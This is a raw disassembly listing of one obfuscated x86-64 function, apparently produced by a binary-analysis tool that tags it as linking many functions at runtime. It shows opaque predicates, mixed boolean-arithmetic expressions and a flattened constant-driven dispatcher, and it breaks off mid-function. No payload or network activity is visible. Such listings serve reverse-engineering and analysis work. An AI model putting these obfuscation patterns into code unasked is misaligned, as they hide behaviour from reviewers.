Function at 0x140130490
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x14024b008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc13c80c0
and edx, 0x3ec37f3f
or edx, ecx
mov ecx, edx
xor ecx, 0x22010a3f
xor edx, 0xc03c8000
and edx, 0xdcfef500
and ecx, 0x23010aff
or ecx, edx
mov ebp, ecx
xor ebp, 0xdcfef500
mov ebx, ecx
xor ebx, 0x23010aff
mov edx, ecx
xor edx, 0x6b949549
mov edi, edx
and edi, ebx
and edx, ebp
mov ebp, edi
and ebp, edx
xor edx, edi
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x48959fb7
and edx, 0xb76a6048
or edx, ebp
and ebx, 1
xor ecx, 0x23010afe
or ecx, ebx
mov ebx, ecx
not ebx
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0xb32b7f68
and edx, 0x4cd48097
or edx, edi
or ebp, ecx
and ecx, 0xb32b7f68
and ebx, 0x4cd48097
or ebx, ecx
xor ebx, edx
not ebp
or ebp, ebx
mov ecx, ebp
mov edx, ebp
xor edx, 0x5bcf3e09
and edx, ebp
not ebp
and ebp, 0x34f3000
and ecx, 0x58800e09
or ecx, ebp
xor ecx, 0x58800e09
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xa430c1f6
and edx, 0x5bcf3e09
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x7933e8ad
and edx, 0x86cc1752
or edx, ebp
xor edx, 0x86cc1752
or edx, ecx
cmp edx, 0xffffffff
sete byte [rsp + 0x2e]
cmp eax, 0xa
setl byte [rsp + 0x2f]
mov r15d, 0x44166d9b
mov r12d, 0x4ec87f3f
mov r13d, 0x80965803
mov r14d, 0x2d07abca
mov ecx, 0xa5a1b9cd
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xcf1c6c12
mov edx, edi
and edx, 0x30e393ec
or edx, ebp
xor edx, 0x30e393ec
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
and ecx, edx
and ebx, edi
or ebx, ecx
not ebx
or ebx, edx
cmp ebx, 0xffffffff
sete bl
setne r8b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
mov r11d, edx
xor r11b, r9b
and r11b, dl
and bl, r9b
and al, r8b
or al, bl
mov r8d, r11d
xor r8b, 1
mov r9d, eax
xor r9b, 1
mov ebx, r11d
and bl, r8b
mov ecx, eax
and cl, r9b
mov r10d, ebx
and r10b, r11b
xor bl, r11b
or bl, r10b
mov edx, ecx
xor dl, 1
xor cl, al
or dl, r9b
xor dl, 1
or dl, cl
xor dl, bl
xor r9b, r8b
or al, r11b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x694f6db1
mov ebp, 0xaf54ca7f
cmovne ecx, ebp
test al, al
mov eax, 0x694f6db1
cmovne eax, ecx
test dl, 1
cmove eax, ecx
mov ecx, eax
nop dword [rax]
cmp ecx, 0x1ddfec4
jle 0x140130c20
cmp ecx, 0x4729a370
jg 0x140130840
cmp ecx, 0x2290bb10
jg 0x140130a1b
cmp ecx, 0x133515ba
jle 0x14013103a
cmp ecx, 0x1946e149
jle 0x140131a41
cmp ecx, 0x1ec67cf2
jle 0x1401329a7
cmp ecx, 0x1ef348df
jle 0x1401348f0
cmp ecx, 0x1ef348e0
je 0x1401380d8
cmp ecx, 0x203155da
je 0x1401380ee
cmp ecx, 0x215bcbbd
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov r9d, dword [0x14024b6e4]
lea esi, [rdx - 1]
imul esi, edx
mov edi, esi
not edi
mov edx, edi
or edx, 0xd890ce99
mov ebp, edx
not ebp
mov ebx, esi
or ebx, 0x6032164
and ebx, 0x4e83276d
mov ecx, edi
and ecx, 0x9010c890
or ecx, ebx
and edx, 0x4e83276d
and ebp, 0x216c1002
or ebp, edx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x276f3167
and ebp, 0xd890ce98
or ebp, ecx
mov ecx, ebp
not ecx
and edi, ecx
and ebp, esi
or ebp, edi
xor ecx, ebp
test ecx, ebp
setne cl
sete r8b
cmp r9d, 9
setg al
cmp r9d, 0xa
setl dl
mov ebx, edx
and cl, dl
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
and al, r8b
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, ebx
and al, r9b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, r8b
and al, cl
or al, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x5b9e15bc
mov ebp, 0x5ae53d25
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0x5b9e15bc
jmp 0x14013dd20
cmp ecx, 0x5c5f9915
jle 0x140130bcc
cmp ecx, 0x69038356
jle 0x140131135
cmp ecx, 0x75313e57
jle 0x140131c69
cmp ecx, 0x7ae2a0fa
jle 0x140132acd
cmp ecx, 0x7c6afbd2
jle 0x140134aba
cmp ecx, 0x7c6afbd3
je 0x14013820b
cmp ecx, 0x7cb26e86
je 0x1401382f7
cmp ecx, 0x7e36190f
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x276a647
and edx, 0xfd8959b8
or edx, ecx
mov ebx, edx
xor ebx, 0x50810920
xor edx, 0x2402044
or ebp, 0xd6d3396e
mov ecx, ebp
not ecx
or edx, 0x2128c410
and edx, 0xa768f45c
and ebx, 0x50930922
or ebx, edx
and ebp, 0xa768f45c
and ecx, 0x8040281
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x292cc691
and ecx, 0xd6d3396e
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xbdfc3029
and ecx, 0x4203cfd6
or ecx, ebp
xor ecx, 0x4203cfd7
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 0x2f8f1702
and edx, ecx
or ecx, 0xd070e8fd
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf688c81c
and ebp, 0x9071702
or ebp, edi
or ecx, ebx
and ebx, 0xf688c81c
and edx, 0x97737e3
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd070e8fd
and ecx, 0x2f8f1702
or ecx, edx
sete dl
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, r8b
not al
and al, r8b
or bl, r8b
xor al, 1
mov r9d, eax
xor r9b, bl
or al, bl
xor al, 1
or al, r9b
xor dl, cl
and dl, cl
xor cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xff3330a7
mov ebp, 0x133515bb
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
jmp 0x140138baf
cmp ecx, 0x30151091
jle 0x140131285
cmp ecx, 0x3c0fd4c7
jle 0x140131caf
cmp ecx, 0x44166d9a
jle 0x140132c4f
cmp ecx, 0x45d25f3f
jle 0x140134b8d
cmp ecx, 0x45d25f40
je 0x14013830d
cmp ecx, 0x46305027
je 0x1401383fc
cmp ecx, 0x465d84d9
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov edx, edi
and edx, 0x6060825a
mov ecx, ebp
and ecx, 0x4100400
or ecx, edx
mov edx, ecx
xor edx, 0xfbeffbff
mov ebx, ebp
xor ebx, 0x6470865a
and ebx, ebp
mov esi, ebx
not esi
mov eax, edx
and eax, 0xd5140586
and ecx, 0x20608258
or ecx, eax
or edx, esi
and esi, 0xd5140586
and ebx, 0x2aebfa79
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x9b8f79a4
and edx, 0x6470865b
or edx, eax
and edi, 0x19492093
and ebp, 0xe6b6df6c
or ebp, edi
mov eax, ebp
xor eax, 0x44204160
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xb2dfbe1c
and edx, 0x4d2041e3
or edx, ebx
xor ebp, 0x10492010
and ebp, 0xb2dfbe1c
and eax, 0x4d2041e3
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
sete r9b
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
and bl, al
mov edx, ecx
xor dl, r9b
and dl, cl
and cl, r9b
or cl, bl
xor al, r9b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r9d, eax
xor r9b, 1
mov ebx, ecx
xor bl, 1
and cl, bl
mov r8d, ebx
and r8b, cl
xor cl, bl
mov r10d, ebx
and r10b, r9b
xor bl, r9b
and r9b, al
or cl, r8b
xor r9b, 1
mov edx, eax
xor dl, r9b
or r9b, al
xor r9b, 1
or r9b, dl
xor r9b, cl
or bl, r10b
mov eax, ebx
xor al, r9b
test al, 1
mov eax, 0x6427934f
cmovne eax, r14d
test bl, 1
mov ecx, 0x6427934f
cmovne ecx, eax
test r9b, 1
jmp 0x14013dd20
cmp ecx, 0x524fbd3c
jle 0x140131393
cmp ecx, 0x5ae53d24
jle 0x140131dc9
cmp ecx, 0x5b9e15bc
je 0x14013e758
cmp ecx, 0x5ae53d25
je 0x1401385c7
cmp ecx, 0x5b540cf8
jne 0x1401306d0
mov ecx, 0xdc9455b3
cmp ecx, 0x1ddfec4
jg 0x1401306dc
nop dword [rax]
cmp ecx, 0xc0362474
jg 0x140130ca0
cmp ecx, 0xa20dc233
jg 0x140130e94
cmp ecx, 0x902e93dc
jle 0x140131514
cmp ecx, 0x991f7ede
jle 0x140131ed6
cmp ecx, 0x9b681417
jle 0x140132d87
cmp ecx, 0x9cef9f75
jle 0x140134d74
cmp ecx, 0x9cef9f76
je 0x1401385dd
cmp ecx, 0xa0b4fc24
je 0x1401385f3
cmp ecx, 0xa1dd1479
jne 0x1401306d0
mov ecx, 0xb5aa6aac
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xe57d8ee9
jg 0x140130fd0
cmp ecx, 0xd126aab6
jle 0x14013169a
cmp ecx, 0xda2372c0
jle 0x140131f1c
cmp ecx, 0xdc9455b2
jle 0x140132eee
cmp ecx, 0xe49a4d08
jle 0x140134e9c
cmp ecx, 0xe49a4d09
je 0x14013875e
cmp ecx, 0xe4c33125
je 0x1401388bf
cmp ecx, 0xe521cab2
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x52188b5b
and ecx, eax
and eax, 0xade774a4
or eax, edx
xor eax, 0xade774a4
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xad7571ce
mov ebp, eax
xor ebp, 0xad7571ce
and ebp, eax
mov ebx, edx
and ebx, ebp
xor ebp, edx
or ebp, ebx
mov edx, ebp
not edx
and edx, 0x528a8e30
and ebp, 0xad7571cf
or ebp, edx
and ecx, 1
xor eax, 0xfffffffe
or eax, ecx
not eax
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
xor ecx, 0x92c4238d
and ecx, eax
not eax
and eax, 0x92c4238d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x6d3bdc72
and ecx, 0x92c4238d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5806faa3
and ecx, 0xa7f9055c
or ecx, eax
mov eax, ecx
xor eax, 0x5680118
xor ecx, 0x58043a82
and ecx, 0xfa953ec6
and eax, 0x56ac139
or eax, ecx
mov ecx, eax
xor ecx, 0x38802484
xor eax, 0x1284009
and eax, 0xc33d5a4b
and ecx, 0x3cc2a5b4
or ecx, eax
xor ecx, 0x3cc2a5b4
sete r8b
setne cl
cmp dword [0x14024b6e4], 0xa
setl al
mov edx, ecx
xor dl, r8b
and dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
mov r9d, ebx
xor r9b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r9b
xor cl, 1
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, al
mov ecx, eax
and cl, r8b
xor al, r8b
or cl, al
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, al
and al, cl
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
xor al, bl
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x1946e14a
mov ebp, 0xd652f33f
cmovne edx, ebp
test cl, 1
mov ecx, 0x1946e14a
cmovne ecx, edx
jmp 0x14013d55c
cmp ecx, 0xb0a8bbf3
jle 0x1401317d5
cmp ecx, 0xb5aa6aab
jle 0x1401320b1
cmp ecx, 0xb9404d0c
jle 0x140132f28
cmp ecx, 0xbce7ba64
jle 0x140134ff4
cmp ecx, 0xbce7ba65
je 0x140138a93
cmp ecx, 0xbd685dc4
je 0x140138bb7
cmp ecx, 0xbf219678
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
or ecx, 1
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x511c7291
and ebp, 0xaee38d6e
or ebp, esi
or ecx, edi
and edi, 0x511c7291
and edx, 0xaee38d6e
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
and ecx, ebx
not ebx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, eax
xor dl, bl
not dl
and dl, bl
mov ecx, eax
or cl, bl
xor cl, 1
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
and bl, al
and r9b, r8b
or r9b, bl
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
xor al, cl
mov ebx, ecx
xor bl, 1
or bl, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xa0b4fc24
mov ebp, 0x7573e956
cmovne ecx, ebp
test bl, 1
mov eax, 0xa0b4fc24
jmp 0x14013e287
cmp ecx, 0xf712b86b
jle 0x1401319ef
cmp ecx, 0xfd312ed6
jle 0x140132276
cmp ecx, 0xff0dad12
jle 0x140133088
cmp ecx, 0xffebf9f0
jle 0x140135022
cmp ecx, 0xffebf9f1
je 0x140138c99
cmp ecx, 0xf29967
je 0x140138dcf
cmp ecx, 0x1b38c1f
jne 0x1401306d0
mov ecx, 0xa778c1a
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x8d75dd5
jg 0x1401322bc
cmp ecx, 0x3a6353f
jg 0x140133196
cmp ecx, 0x285a908
jg 0x140135050
cmp ecx, 0x1ddfec5
je 0x140138eb1
cmp ecx, 0x21ed2ad
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xe842d217
and edx, 0x17bd2de8
or edx, ecx
xor edx, 0xe842d217
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0xbcbabf7e
mov ebp, 0x61e4c080
cmovne edx, ebp
test al, 1
mov eax, 0xbcbabf7e
cmovne edx, eax
test cl, 1
jmp 0x1401364f6
cmp ecx, 0x61e4c07f
jg 0x1401323ca
cmp ecx, 0x5f9595f1
jg 0x1401331d0
cmp ecx, 0x5eb70264
jg 0x140135150
cmp ecx, 0x5c5f9916
je 0x140138fb8
cmp ecx, 0x5dc0d13f
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edi, [rdx - 1]
imul edi, edx
mov ebp, edi
not ebp
mov ecx, edi
or ecx, 1
mov ebx, ecx
not ebx
mov edx, edi
or edx, 0x56d7155e
and ecx, 0x56d7155e
and ebx, 0xa928eaa0
or ebx, ecx
and edx, 0x56d7155f
xor edx, ebx
and ebp, 0x5f105a47
and edi, 0xa0efa5b8
or edi, ebp
mov ecx, edi
xor ecx, 0x804aa090
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x61a51d6f
and edx, 0x9e5ae290
or edx, ebp
xor edi, 0x41001847
and edi, 0x61a51d6f
and ecx, 0x9e5ae290
or ecx, edi
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, r9b
mov r10d, eax
xor r10b, 1
and al, cl
and bl, r8b
and cl, r9b
or cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, r10b
or al, r10b
xor r10b, bl
xor r10b, 1
xor al, 1
or al, r10b
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x4f34ddc0
mov ebp, 0x9b681418
cmovne eax, ebp
test cl, 1
cmovne eax, ebp
not dl
test dl, 1
mov ecx, 0x4f34ddc0
jmp 0x1401306c8
cmp ecx, 0x2b8098f6
jg 0x14013250c
cmp ecx, 0x27a02dd6
jg 0x14013330c
cmp ecx, 0x2611310f
jg 0x1401352c4
cmp ecx, 0x2290bb11
je 0x1401390ef
cmp ecx, 0x23e0c7c0
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x62018c04
mov ebp, eax
and ebp, 0x8a01191
or ebp, edx
xor ebp, 0x8a01191
mov edx, eax
xor edx, 0x6aa19d95
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x4894aebe
and edx, 0xb76b5141
or edx, ebp
xor edx, 0x2235332a
and ecx, 0xc74bb5d2
and eax, 0x38b44a2d
or eax, ecx
xor eax, 0x38b44a2d
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x14024b6e4], 0xa
setl r8b
mov edx, r8d
xor dl, cl
xor dl, 1
mov ebx, r8d
or bl, al
xor bl, 1
or bl, dl
xor bl, 1
or cl, r8b
xor cl, 1
xor al, r8b
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov ecx, 0x13a73b95
mov edx, 0xbd685dc4
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0x13a73b95
jmp 0x140139325
cmp ecx, 0x4d2104b9
jg 0x140132552
cmp ecx, 0x490a4eac
jg 0x140133346
cmp ecx, 0x480e3279
jg 0x1401352f2
cmp ecx, 0x4729a371
je 0x14013922a
cmp ecx, 0x47db40f0
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0xe3ec8825
and edx, ebp
not ebp
and ebp, 0xe3ec8825
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x90da1f78
and edx, 0x6f25e087
or edx, ecx
mov ecx, edx
xor ecx, 0x8cc968a2
mov ebp, edx
xor ebp, 0x8cc968a3
and ebp, ecx
xor edx, 0x20000300
and edx, 0x2c810300
and ecx, 0xd37efcff
or ecx, edx
xor ecx, 0xd37efcfe
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd909e97d
and ebp, 0x26f61682
or ebp, edi
or ecx, ebx
and ebx, 0xd909e97d
and edx, 0x26f61682
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov ecx, r9d
or cl, bl
mov eax, edx
or al, r8b
mov r10d, ecx
xor r10b, al
or al, cl
xor al, 1
or al, r10b
and r9b, bl
and dl, r8b
or dl, r9b
mov ecx, ebx
xor cl, r8b
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
and dl, al
xor al, 1
xor cl, 1
and cl, al
or cl, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x1ddfec5
mov ebp, 0x4cbb6584
cmovne edx, ebp
test al, 1
mov eax, 0x1ddfec5
cmovne eax, edx
test cl, 1
jmp 0x140138ea9
cmp ecx, 0x8654f409
jg 0x140132598
cmp ecx, 0x83c6a0f0
jg 0x140133461
cmp ecx, 0x81a94147
jg 0x140135320
cmp ecx, 0x80965803
je 0x14013932f
cmp ecx, 0x81417e45
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x4897dc54
mov ebx, edx
not ebx
or ebp, 0xb76823ab
mov ecx, ebp
not ecx
and edx, 0x6dd526f0
and ebx, 0x9228010b
or ebx, edx
and ebp, 0x6dd526f0
and ecx, 0x2d804
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x4897dc54
and ecx, 0xb76823ab
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xdf8dace7
and ecx, 0x20725318
or ecx, edx
xor ecx, 0x20725319
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0x6b62ffd5
and ebp, ecx
not ecx
and ecx, 0x68429215
and edx, 0x3206dc0
or edx, ecx
xor edx, 0x3206dc0
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x9760a842
and ebp, 0x689f57bd
or ebp, ecx
xor ebp, 0x3fda868
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, edx
and bl, al
and dl, cl
and cl, r8b
or cl, bl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
and al, r8b
or al, dl
mov r10d, eax
xor r10b, 1
mov ebx, ecx
and bl, r9b
xor bl, 1
mov r8d, r9d
xor r8b, bl
or bl, r9b
xor bl, 1
or bl, r8b
mov edx, ebx
xor dl, 1
and dl, r10b
and bl, al
or bl, dl
xor r10b, cl
or al, r9b
xor al, 1
or al, r10b
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xeef404cd
mov ecx, 0x4cb8ca63
cmovne edx, ecx
test al, 1
mov ecx, 0xeef404cd
cmovne ecx, edx
test bl, bl
jmp 0x14013d55e
cmp ecx, 0xc7fbafd4
jg 0x1401325de
cmp ecx, 0xc494c016
jg 0x14013354b
cmp ecx, 0xc19a287a
jg 0x14013535a
cmp ecx, 0xc0362475
je 0x140139345
cmp ecx, 0xc15ec175
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x2850c841
mov ecx, ebp
and ecx, 0x84091228
or ecx, edx
xor ecx, 0x84091228
mov edx, ebp
and edx, 0x53a62596
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x53a62597
and edx, 0xac59da68
or edx, ecx
mov ecx, edx
not ecx
and ebx, 0x8cee145c
and ebp, 0x7311eba3
or ebp, ebx
mov ebx, ebp
xor ebx, 0x30010101
xor ebp, 0x8cee145c
mov edi, edx
and edi, 0xcfdafea6
and ecx, 0x30250159
or ecx, edi
or edx, ebp
and ebp, 0xcfdafea6
and ebx, 0x30250159
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
or bl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, r9b
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xe81a8313
mov ebp, 0x465d84d9
cmovne edx, ebp
test cl, 1
mov ecx, 0xe81a8313
cmovne edx, ecx
test al, 1
jmp 0x1401364f6
cmp ecx, 0xab51692f
jg 0x140132745
cmp ecx, 0xa72e647f
jg 0x140133585
cmp ecx, 0xa47793ee
jg 0x140135388
cmp ecx, 0xa20dc234
je 0x140139459
cmp ecx, 0xa46fbf33
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x83f80587
and ecx, edx
and edx, 0x7c07fa78
or edx, ebp
mov ebp, edx
xor ebp, 0x7c017038
xor edx, 0x83f80587
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x3fe8ac0
and ebp, 0xfc01753f
or ebp, edi
or edx, ebx
and ebx, 0x3fe8ac0
and ecx, 0xfc01753f
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
mov ebx, edx
xor ebx, 0xb95032f1
and ebx, edx
not edx
and edx, 0x8d29db7c
and ebp, 0x72d62483
or ebp, edx
mov edi, ebp
xor edi, 0x72d62483
mov ecx, ebp
xor ecx, 0x3479e98d
and ecx, edi
mov edx, ecx
not edx
mov esi, ebx
not esi
mov eax, edx
and eax, 0x2ebd46b3
and ecx, 0xd142b94c
or ecx, eax
or edx, esi
and esi, 0x2ebd46b3
and ebx, 0xd142b94c
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x242f127c
and edx, 0xdbd0ed83
or edx, eax
mov eax, edx
xor eax, 0x42001032
and edi, 1
xor ebp, 0x72d62482
or ebp, edi
mov ecx, ebp
not ecx
xor edx, 0x9d7f208c
mov ebx, edx
and ebx, 0x29cacf45
and eax, 0xd63530ba
or eax, ebx
or edx, ebp
and ebp, 0x29cacf45
and ecx, 0xd63530ba
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and edx, 0xac236557
and eax, 0x53dc9aa8
or eax, edx
mov ecx, eax
xor ecx, 0x20010556
xor eax, 0x510c18a8
and eax, 0xdd2e78a9
and ecx, 0x22d18756
or ecx, eax
